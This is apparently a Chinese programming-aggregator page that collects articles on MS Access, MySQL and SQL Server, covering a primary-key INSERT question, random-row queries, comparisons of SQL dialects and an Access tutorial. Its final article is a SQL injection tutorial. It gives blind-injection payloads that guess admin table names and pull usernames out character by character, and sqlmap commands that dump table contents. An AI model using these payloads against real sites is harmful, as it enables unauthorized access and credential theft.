GVKun编程网logo

SQL – MS Access是否抑制插入的主键冲突?(access表中的主键能够提高查询效率)

24

对于SQL–MSAccess是否抑制插入的主键冲突?感兴趣的读者,本文将会是一篇不错的选择,我们将详细介绍access表中的主键能够提高查询效率,并为您提供关于accessmysqlmssql随机10

对于SQL – MS Access是否抑制插入的主键冲突?感兴趣的读者,本文将会是一篇不错的选择,我们将详细介绍access表中的主键能够提高查询效率,并为您提供关于access mysql mssql 随机 10条数据的sql语句 原创、access 和 MySQL mssql、Access入门教程 4.3 Access中的主要对象及其关系、Access数据库SQL注入(Access SQL Injection)的有用信息。

本文目录一览:

SQL – MS Access是否抑制插入的主键冲突?(access表中的主键能够提高查询效率)

SQL – MS Access是否抑制插入的主键冲突?(access表中的主键能够提高查询效率)

我正在重新编写MS Access数据库到sql服务器,并在Access中发现了一个奇怪的问题,我希望有人可以提供帮助.

我有一个表,让我们称之为’Main’,并在索引的帐户上使用主键,并且不允许重复.看起来很简单但我的问题是在数据被插入时发生的.

我的INSERT查询是(为简洁起见,字段数量有限)

INSERT INTO Main (Account,SentDate,Amount)
SELECT C.Account,C.SentDate,C.Amount
FROM 
    (CALLS C LEFT JOIN Bals B ON C.Account = B.ACCT_ID) 
LEFT JOIN AggAnt A ON C.Account = A.Account

问题是,如果我运行查询的SELECT部分​​,我得到2365条记录但是当我运行INSERT时,我得到2364条记录.所以我做了一些检查,发现一个帐户重复,记录之间的差异是SentDate和Amount.但Access只插入其中一条记录而不会抛出任何类型的错误消息或任何内容.查询中没有任何内容表示选择最近的日期等.

样本数据:

Account    SentDate   Amount
12345678   8/1/2011   123.00
23456789   8/1/2011   45678.00
34567890   8/1/2011   7850.00
45678912   8/1/2011   635.00
45678912   5/1/2011   982.00
56789123   8/1/2011   2639.00

在示例中,当我运行INSERT时,我有一个重复的帐户45678912,我没有错误,我从2011年8月1日获得了记录.

为什么Access违反表中的PK时不会抛出错误?在Access中有一些怪癖选择一条记录而只是跳过另一条记录吗?

我完全被这个问题困扰所以任何帮助都会很棒.

解决方法

你是如何运行查询的?如果您正在使用DoCmd.Runsql,请切换到使用DAO数据库对象的.Execute方法,并使用dbFailOnError.
Dim db As DAO.Database
Dim strInsert As String
strInsert = "your insert statement"
Set db = CurrentDb
db.Execute strInsert,dbFailOnError
Set db = nothing

编辑:如果Main是sql Server表的ODBC链接,我会在db.Execute strInsert,dbFailOnError之后检查Errors Collection (DAO)

access mysql mssql 随机 10条数据的sql语句 原创

access mysql mssql 随机 10条数据的sql语句 原创

access 随机 10条数据的方法
复制代码 代码如下:

select * from table order by rnd(id)

其中rnd(id)中的id为表中的自增长字段
access随机显示记录(不重复)解决方案
复制代码 代码如下:

<%
''-------------------------数据库连接-----------------------
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;" &_
"Data Source=" & Server.MapPath("data.mdb")
objConn.Open
''-------------------------数据库连接-----------------------

''-------------------------检索数据-----------------------
strSQL = "SELECT id,DataColumn FROM DataTable"
''Sql语句,检索数据库
Set objRS = Server.CreateObject("ADODB.Recordset")
''创建记录集
objRS.Open strSQL, objConn, 1, 1
''执行检索
Count=objRS.RecordCount
''得到记录总数
Item=4
''显示记录数
''-------------------------检索数据-----------------------
''-------------------------------------------------------------------------------
redim a(Item, 2),t(Count)
''定义2数组,数组a用来储存记录,数组t用来删选记录
''---------------------------------------
''初始数组数值,目的为了插入数据以后和此值做比较
for each j in t
j=0
next
''---------------------------------------
''---------------------------------------
'' 随机抽取记录号
Randomize timer ''初始化随机数生成器
for j=1 to Item
k=int(rnd*Count+1) ''从总数里面随机取一条记录
do while t(k)<>0 ''判断是否记录是否已经在数组中
k=int(rnd*Item+1)
loop
t(k)=1 ''第k条记录被选中
next
''--------------------------------------
j=1:i=1''定义下标
''--------------------------------------
'' 循环选取数据集objRS中的部分记录存放到数组中
Do While Not objRS.Eof
if t(j)=1 then
a(i,1)=objRS("id") ''记录id
a(i,2)=objRS("DataColumn") ''记录内容
i=i+1
end if
j=j+1
objRS.MoveNext
Loop
''--------------------------------------
''-------------------------------------------------------------------------------
''----------------------------显示内容--------------------
for i=1 to Item
Response.write "序号"&a(i,1)&"<br>"
Response.write "内容"&a(i,2)&"<p>"
next
''----------------------------显示内容--------------------
''---------------------------
''释放资源
objRs.Close
set objRs=nothing
objConn.Close
set objConn=nothing
''---------------------------
%>

mssql 随机 10条记录
复制代码 代码如下:

select * from talbe order by newid()


mysql 随机 10条记录
复制代码 代码如下:

select * from table order by rand() limit 0,10

原创请注明出处 www.jb51.net

access 和 MySQL mssql

access 和 MySQL mssql

Access、MSSQL、MYSQL 数据库之间有什么区别?     Access 数据库、MSSQL 数据库、MYSQL 数据库之间有什么区别?
    
    不少企业和个人站长在网站制作时,会对数据库的概念产生迷惑或误解。究竟使用什么样的数据库才好呢?其实,选择合适您的才是最好的。下面是一些关于数据库的详细资料。建议打算建立网站的企业和个人站长,新手网站管理员阅读一下。听听 “找源码” www.zhaoym.net 专业技术人员对于数据库的解释,让大家更好的了解数据库,从而确定适合自己的建站方案。
    
    大家知道,常用的数据库一般是分为三种:Access、SQL Server、MySQL,那么,用户想做一个网站,到底哪一种数据库才是适合自己的呢?以下给大家介绍一下常用的数据库有什么区别及功能方面的说明。
    
    Access:是一种桌面数据库,适合数据量较少的应用,存储数据库 (.mdb) 文件大小不超过 2G 字节,数据库中的对象个数不超过 32,768。不过,由于数据库可以包括其他文件中的链接表,所以它的大小实际上只受可用存储空间大小的限制。处理非超大量数据库是很好的选择,效率也很高。但是,当您的网站访问时遇到下面的情况之一,您就应该考虑使用 SQL 数据库了: 
    
    1. 数据库大小超过 300M; 
    
    2. 在线人数经常超过 100 人;
    
    3. 网站经常出现服务失效(英文提示:Service Unavailable);
    
    4. 服务器经常出现 CPU 资源被 100% 占用。
    
    
    SQL Server:是基于服务器端的中型数据库,可以适合大容量数据的应用,在功能上管理上也要比 Access 强。在处理海量数据的效率,后台开发的灵活性,可扩展性等方面强大。因为现在数据库都使用标准的 SQL 语言对数据库进行管理,所以如果是标准 SQL 语言,两者基本上都可以通用的。SQL Server 还有更多的扩展,可以用存储过程,数据库大小无极限限制。
    
    SQL Server 特点:
    
    1. 真正的客户机 / 服务器体系结构。
    
    2. 图形化用户界面,使系统管理和数据库管理更加直观、简单。
    
    3. 丰富的编程接口工具,为用户进行程序设计提供了更大的选择余地。
    
    4.SQL Server 与 Windows NT 完全集成,利用了 NT 的许多功能,如发送和接受消息,管理登录安全性等。SQL Server 也可以很好地与 microsoft BackOffice 产品集成。
    
    5. 具有很好的伸缩性,可跨越从运行 Windows 95/98 的膝上型电脑到运行 Windows 2000 的大型多处理器等多种平台使用。
    
    6. 对 Web 技术的支持,使用户能够很容易地将数据库中的数据发布到 Web 页面上。
    
    7.SQL Server 提供数据仓库功能,这个功能只在 Oracle 和其他更昂贵的 DBMS 中才有。
    
    
    MySQL:是一个开放源码的小型关系型数据库管理系统,目前被广泛地应用在 Internet 上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了 MySQL 作为网站数据库。
    
    MySQL 特点:
    
    1. 核心程序采用完全的多线程编程。线程是轻量级的进程,它可以灵活地为用户提供服务,而不过多的系统资源。
    
    2. 可运行在不同的操作系统下。如可支持 Windows95/98/NT/2000、2003 以及 UNIX、Linux 和 SUN OS 等多种操作系统平台。
    
    3. 有一个非常灵活而且安全的权限和口令系统。当客户与 MySql 服务器连接时,他们之间所有的口令传送被加密,而且 MySql 支持主机认证。
    
    4. 支持 ODBC for Windows。MySql 支持所有的 ODBC 2.5 函数和其他许多函数,这样就可以用 Access 连接 MySql 服务器,从而使得 MySql 的应用被大大扩展。
    
    5. 支持大型的数据库。虽然对于用 Php 编写的网页来说只要能够存放上百条以上的记录数据就足够了,但 MySql 可以方便地支持上千万条记录的数据库。
    
    6. 拥有一个非常快速而且稳定的基于线程的内存分配系统,可以持续使用面不必担心其稳定性。
    
    7. 强大的查询功能。MySql 支持查询的 SELECT 和 WHERE 语句的全部运算符和函数,并且可以在同一查询中混用来自不同数据库的表,从而使得查询变得快捷和方便。
    
    8.PHP 为 MySql 提供了强力支持,PHP 中提供了一整套的 MySql 函数,对 MySql 进行了全方位的支持。

 

 

MySQL / SQL Server / Oracle / MS Access 的 sql 语句联系区别总结

各数据库的 sql 语句差别

1. 取前几条数据
MySQL 语法
SELECT * FROM Persons LIMIT 5
Oracle 语法
SELECT * FROM Persons WHERE ROWNUM <= 5
SQL Server 的语法
SELECT TOP 2 * FROM Persons
SELECT TOP 50 PERCENT * FROM Persons


2.MySQL 建表约束
CREATE TABLE Persons
(
Id_P int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255),
UNIQUE (Id_P)
)

SQL Server / Oracle / MS Access 建表约束
CREATE TABLE Persons
(
Id_P int NOT NULL UNIQUE,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255)
)

如果需要命名 UNIQUE 约束,以及为多个列定义 UNIQUE 约束,请使用下面的 SQL 语法:
MySQL / SQL Server / Oracle / MS Access:
CREATE TABLE Persons
(
Id_P int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255),
CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)
)


3. 撤销 UNIQUE 约束
MySQL:
ALTER TABLE Persons
DROP INDEX uc_PersonID

SQL Server / Oracle / MS Access:
ALTER TABLE Persons
DROP CONSTRAINT uc_PersonID


4.SQL PRIMARY KEY 约束
MySQL:
CREATE TABLE Persons
(
Id_P int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255),
PRIMARY KEY (Id_P)
)
SQL Server / Oracle / MS Access:
CREATE TABLE Persons
(
Id_P int NOT NULL PRIMARY KEY,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255)
)
如果需要命名 PRIMARY KEY 约束,以及为多个列定义 PRIMARY KEY 约束,请使用下面的 SQL 语法:
MySQL / SQL Server / Oracle / MS Access:
CREATE TABLE Persons
(
Id_P int NOT NULL,
LastName varchar(255) NOT NULL,
FirstName varchar(255),
Address varchar(255),
City varchar(255),
CONSTRAINT uc_PersonID PRIMARY KEY (Id_P,LastName)
)

SQL PRIMARY KEY Constraint on ALTER TABLE
如果在表已存在的情况下为 "Id_P" 列创建 PRIMARY KEY 约束,请使用下面的 SQL:
MySQL / SQL Server / Oracle / MS Access:
ALTER TABLE Persons
ADD PRIMARY KEY (Id_P)

如果需要命名 PRIMARY KEY 约束,以及为多个列定义 PRIMARY KEY 约束,请使用下面的 SQL 语法:
MySQL / SQL Server / Oracle / MS Access:
ALTER TABLE Persons
ADD CONSTRAINT pk_PersonID PRIMARY KEY (Id_P,LastName)


5. 撤销 PRIMARY KEY 约束
如需撤销 PRIMARY KEY 约束,请使用下面的 SQL:
MySQL:
ALTER TABLE Persons
DROP PRIMARY KEY
SQL Server / Oracle / MS Access:
ALTER TABLE Persons
DROP CONSTRAINT pk_PersonID


6.SQL FOREIGN KEY Constraint on CREATE TABLE
下面的 SQL 在 "Orders" 表创建时为 "Id_P" 列创建 FOREIGN KEY:
MySQL:
CREATE TABLE Orders
(
O_Id int NOT NULL,
OrderNo int NOT NULL,
Id_P int,
PRIMARY KEY (O_Id),
FOREIGN KEY (Id_P) REFERENCES Persons(Id_P)
)
SQL Server / Oracle / MS Access:
CREATE TABLE Orders
(
O_Id int NOT NULL PRIMARY KEY,
OrderNo int NOT NULL,
Id_P int FOREIGN KEY REFERENCES Persons(Id_P)
)

7. 如果需要命名 FOREIGN KEY 约束,以及为多个列定义 FOREIGN KEY 约束,请使用下面的 SQL 语法:

MySQL / SQL Server / Oracle / MS Access:
CREATE TABLE Orders
(
O_Id int NOT NULL,
OrderNo int NOT NULL,
Id_P int,
PRIMARY KEY (O_Id),
CONSTRAINT fk_PerOrders FOREIGN KEY (Id_P)
REFERENCES Persons(Id_P)
)

8.SQL FOREIGN KEY Constraint on ALTER TABLE
如果在 "Orders" 表已存在的情况下为 "Id_P" 列创建 FOREIGN KEY 约束,请使用下面的 SQL:

MySQL / SQL Server / Oracle / MS Access:
ALTER TABLE Orders
ADD FOREIGN KEY (Id_P)
REFERENCES Persons(Id_P)
如果需要命名 FOREIGN KEY 约束,以及为多个列定义 FOREIGN KEY 约束,请使用下面的 SQL 语法:

MySQL / SQL Server / Oracle / MS Access:
ALTER TABLE Orders
ADD CONSTRAINT fk_PerOrders
FOREIGN KEY (Id_P)
REFERENCES Persons(Id_P)
撤销 FOREIGN KEY 约束
如需撤销 FOREIGN KEY 约束,请使用下面的 SQL:

MySQL:
ALTER TABLE Orders
DROP FOREIGN KEY fk_PerOrders
SQL Server / Oracle / MS Access:
ALTER TABLE Orders
DROP CONSTRAINT fk_PerOrders

 

SQL/MYSQL/MSSQL/Access 的区别,比较

  SQL 是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。而 MySQL 是数据库管理系统 (DBMS)。

MSSQL 和 ACCESS 都是 Microsoft 公司开发的可以用于 ASP 程序中的网站数据库,不过 MSSQL 比 ACCESS 功能强大,大型网站建议采用 MSSQL 数据库.

什么是 My SQL 数据库?
        My SQL 是一个多用户、多线程的 SQL 数据库,是一个客户机 / 服务器结构的应用,它由一个服务器守护程序 mysqld 和很多不同的客户程序和库组成。

        数据库与用户端之间的接口程序可以使用 CGI 进行通信。(CGI 全称是 “公共网关接口”(Common Gateway Interface),HTTP 服务器与你的或其它机器上的程序进行 “交谈” 的一种工具,其程序须运行在网络服务器上。) 在物理上,CGI 是一段程序,运行在 Server 上,提供同客户端 Html 页面的接口.

msSQL 数据库和 myqsl 数据库有什么不同?
        MySql 短小精悍,象 access 一样的文件型数据库,但比 access 强百倍,是真正多用户多任务的数据库系统,从 Linux 上移植过来的,安全性非常好,完全可以作为大型数据库使用,不过大部分操作是在 dos 下进行,虽然也有第三方开发的图形界面但并不好用.

        MsSql 是微软的产品一贯傻大笨粗,性能也强大,图形界面使用很方便,象个傻瓜相机一样,不过,也太大了,很多不实用的东西 
        win98 下不能装 MSSQL,只能装个客户端工具,如果是为了学 DELPHI (Delphi 是 Borland 公司研制的新一代可视化开发工具) 开发,装个小巧的 access 或 mysql 就可以,反正都是通过 ODBC<(开放数据库互连) 是微软公司开放服务结构中有关数据库的一个组成部分,它建立了一组规范,并提供了一组对数据库访问的标准 API(应用程序编程接口)。这些 API 利用 SQL 来完成其大部分任务。ODBC 本身也提供了对 SQL 语言的支持,用户可以直接将 SQL 语句送给 ODBC)> 来做.

 

SQL/MYSQL/MSSQL/Access 区别比较

 

Access 是一种桌面数据库,只适合数据量少的应用,在处理少量数据和单机访问的数据库时是很好的,效率也很高。但是它的同时访问客户端不能多于 4 个。access 数据库有一定的极限,如果数据达到 100M 左右,很容易造成服务器 iis 假死,或者消耗掉服务器的内存导致服务器崩溃。 

SQL Server 是基于服务器端的中型的数据库,可以适合大容量数据的应用,在功能上管理上也要比 Access 要强得多。在处理海量数据的效率,后台开发的灵活性,可扩展性等方面强大。因为现在数据库都使用标准的 SQL 语言对数据库进行管理,所以如果是标准 SQL 语言,两者基本上都可以通用的。92HeZu 网全部双线合租空间均可使用 Access 数据库,同时也支持 SQL Server。SQL Server 还有更多的扩展,可以用存储过程,数据库大小无极限限制。 

SQL Server 特点: 

1. 真正的客户机 / 服务器体系结构。 

2. 图形化用户界面,使系统管理和数据库管理更加直观、简单。 

3. 丰富的编程接口工具,为用户进行程序设计提供了更大的选择余地。 

4.SQL Server 与 Windows NT 完全集成,利用了 NT 的许多功能,如发送和接受消息,管理登录安全性等。SQL Server 也可以很好地与 microsoft BackOffice 产品集成。 

5. 具有很好的伸缩性,可跨越从运行 Windows 95/98 的膝上型电脑到运行 Windows 2000 的大型多处理器等多种平台使用。 

6. 对 Web 技术的支持,使用户能够很容易地将数据库中的数据发布到 Web 页面上。 

7.SQL Server 提供数据仓库功能,这个功能只在 Oracle 和其他更昂贵的 DBMS 中才有。 

MySQL 是一个开放源码的小型关系型数据库管理系统,开发者为瑞典 MySQL AB 公司,92HeZu 网免费赠送 MySQL。目前 MySQL 被广泛地应用在 Internet 上的中小型网站中。提供由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了 MySQL 作为网站数据库 

MySQL 特点: 

1.MySql 的核心程序采用完全的多线程编程。线程是轻量级的进程,它可以灵活地为用户提供服务,而不过多的系统资源。 

2.MySql 可运行在不同的操作系统下。简单地说,MySql 可以支持 Windows95/98/NT/2000 以及 UNIX、Linux 和 SUN OS 等多种操作系统平台。 

3.MySql 有一个非常灵活而且安全的权限和口令系统。当客户与 MySql 服务器连接时,他们之间所有的口令传送被加密,而且 MySql 支持主机认证。 

4.MySql 支持 ODBC for Windows。MySql 支持所有的 ODBC 2.5 函数和其他许多函数,这样就可以用 Access 连接 MySql 服务器,从而使得 MySql 的应用被大大扩展。 

5.MySql 支持大型的数据库。虽然对于用 Php 编写的网页来说只要能够存放上百条以上的记录数据就足够了,但 MySql 可以方便地支持上千万条记录的数据库。 

6.MySql 拥有一个非常快速而且稳定的基于线程的内存分配系统,可以持续使用面不必担心其稳定性。 

7. 强大的查询功能。MySql 支持查询的 SELECT 和 WHERE 语句的全部运算符和函数,并且可以在同一查询中混用来自不同数据库的表,从而使得查询变得快捷和方便。 

8.PHP 为 MySql 提供了强力支持,PHP 中提供了一整套的 MySql 函数,对 MySql 进行了全方位的支持。

 

Access入门教程 4.3 Access中的主要对象及其关系

Access入门教程 4.3 Access中的主要对象及其关系

我们知道在建筑一栋房子之前,首先必须要有一块地皮,然后才能在地皮上按照设计好的图纸一层层的搭建房子,最后才是人住进去。现在我们有了一个空的数据库,就等于在Access中已经有了这样一块“地皮”,现在可以建房子了。上一课用数据库向导建立的数据库就


 

我们知道在建筑一栋房子之前,首先必须要有一块地皮,然后才能在地皮上按照设计好的图纸一层层的搭建房子,最后才是人住进去。现在我们有了一个空的数据库,就等于在access中已经有了这样一块“地皮”,现在可以建房子了。上一课用数据库向导建立的数据库就是一个已经建筑完毕的“房子”,只是还没有“数据”住进去罢了。在access中,所谓的建房材料就是数据库中的主要对象,它包括“表”、“查询”、“窗体”、“报表”、“页面”、“宏”和“模块”。这些对象在数据库中各自负责一定的功能,并且相互协作,这样才能建设出一个数据库。

在数据库中,“表”用来存储数据;“查询”用来查找数据;人通过“窗体”、“报表”、“页面”获取数据;而“宏”和“模块”则用来实现数据的自动操作。其实对于数据库来说,最重要的功能就是获取数据库中的数据,所以数据在数据库各个对象间的流动就成为我们最关心的事情。为了以后建立数据库的时候能清楚的安排各种结构,应该先了解一下Access数据库中对象间的作用和联系。

作为一个数据库,最基本的就是要有表,并且表中存储了数据。比如“通讯录”数据库,首先要建立一个表,然后将某人的联系地址、电话等信息输入到这个数据表中,这样就有了数据库中的数据源。有了这些数据以后,就可以将它们显示在窗体上。这个过程就是将表中的数据和窗体上的控件建立连接,在Access中把这个过程叫做“绑定”。这样就可以通过屏幕上的各种各样的窗体界面来获得真正存储在表中的数据了。而且合理地在窗体上摆放控件和图案可以使我们更容易操作和理解数据库中数据代表的含意。这样就完成数据从表到窗体的流动,实现了数据库中的数据在计算机和人之间进行了一次沟通。比如在“通讯录”数据库中,使用自动窗体将数据库中的一个记录显示在窗体上,控制窗体上的记录操作按钮在表中前后移动,可以看到对应其它记录的信息。现在,数据库中的表和窗体对象之间的关系应该很清晰了,我们可以画出一个表。至于数据库中的其他对象,现在先把它们空出来。在以后学习了其他的几种对象以后,将把这个表示数据库中数据流向的图表补充完整。我们以后可以每学一课,就按照这种方式将各种对象间的数据流向画出来,这对于建立一个完整的数据库很有好处。

结束语:在这一课中,我们通过建立一个空数据库,结合上一课中的内容,讲解了建立一个新数据库需要注意的问题和数据库中每个对象的用途和相互关系。如果想了解更多关于Access数据库的知识,掌握Access数据库的使用方法,那就请看下面几课了。

Access入门教程 4.3 Access中的主要对象及其关系

 



Access数据库SQL注入(Access SQL Injection)

Access数据库SQL注入(Access SQL Injection)

一、Microsoft Office Access数据库手工注入语句 

1、参数后面加  ’ 、and 1=1、and 1=2看返回状态判断是否存在注入点 
2、参数后面加 and exists(select*from admin) 猜表名  返回正常页面表示存在(admin)
3、参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在 
4、参数后面加 and (select top 1 len(username) from admin)=1 猜字段(username)长度(解释:username列中第一条记录的字符长度等于1 也可以用 大于号> 来判断,可以使用二分测试) 
5、参数后面加 and (select top 1 asc(mid(username,1,1))from admin)=97 猜字段(username)中第一条记录内容的第一个字符(字符替换成相应的ASCII码,ASCII码97表示a)
                    and (select top 1 asc(mid(username,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符 (字符替换成相应的ASCII码,ASCII码97表示a) 自己测,个数为第4步测出来的长度

二、Microsoft Office Access数据库SQLMAP注入语句

对sqlmap使用不熟悉的同学,请转到 https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html 学习sqlmap基础用法

1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url)  确定为access数据库后再按此文章执行

执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。

上图中为使用默认字典跑出来的表名。

2、sqlmap -u "url" -T "表名" --columns 猜字段名  (表名为第一步跑出来的表名)

在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。

 3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段

下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径

以上操作请在合法的范围内使用,请勿非法利用,谢谢!若造成损失由其自行承担,与本人无关。

 

今天的关于SQL – MS Access是否抑制插入的主键冲突?access表中的主键能够提高查询效率的分享已经结束,谢谢您的关注,如果想了解更多关于access mysql mssql 随机 10条数据的sql语句 原创、access 和 MySQL mssql、Access入门教程 4.3 Access中的主要对象及其关系、Access数据库SQL注入(Access SQL Injection)的相关知识,请在本站进行查询。

本文标签:

上一篇无序导致SQL(无序导致混乱,有序创造价值的视频)

下一篇从一列复制到另一列(不同的表相同的数据库)mysql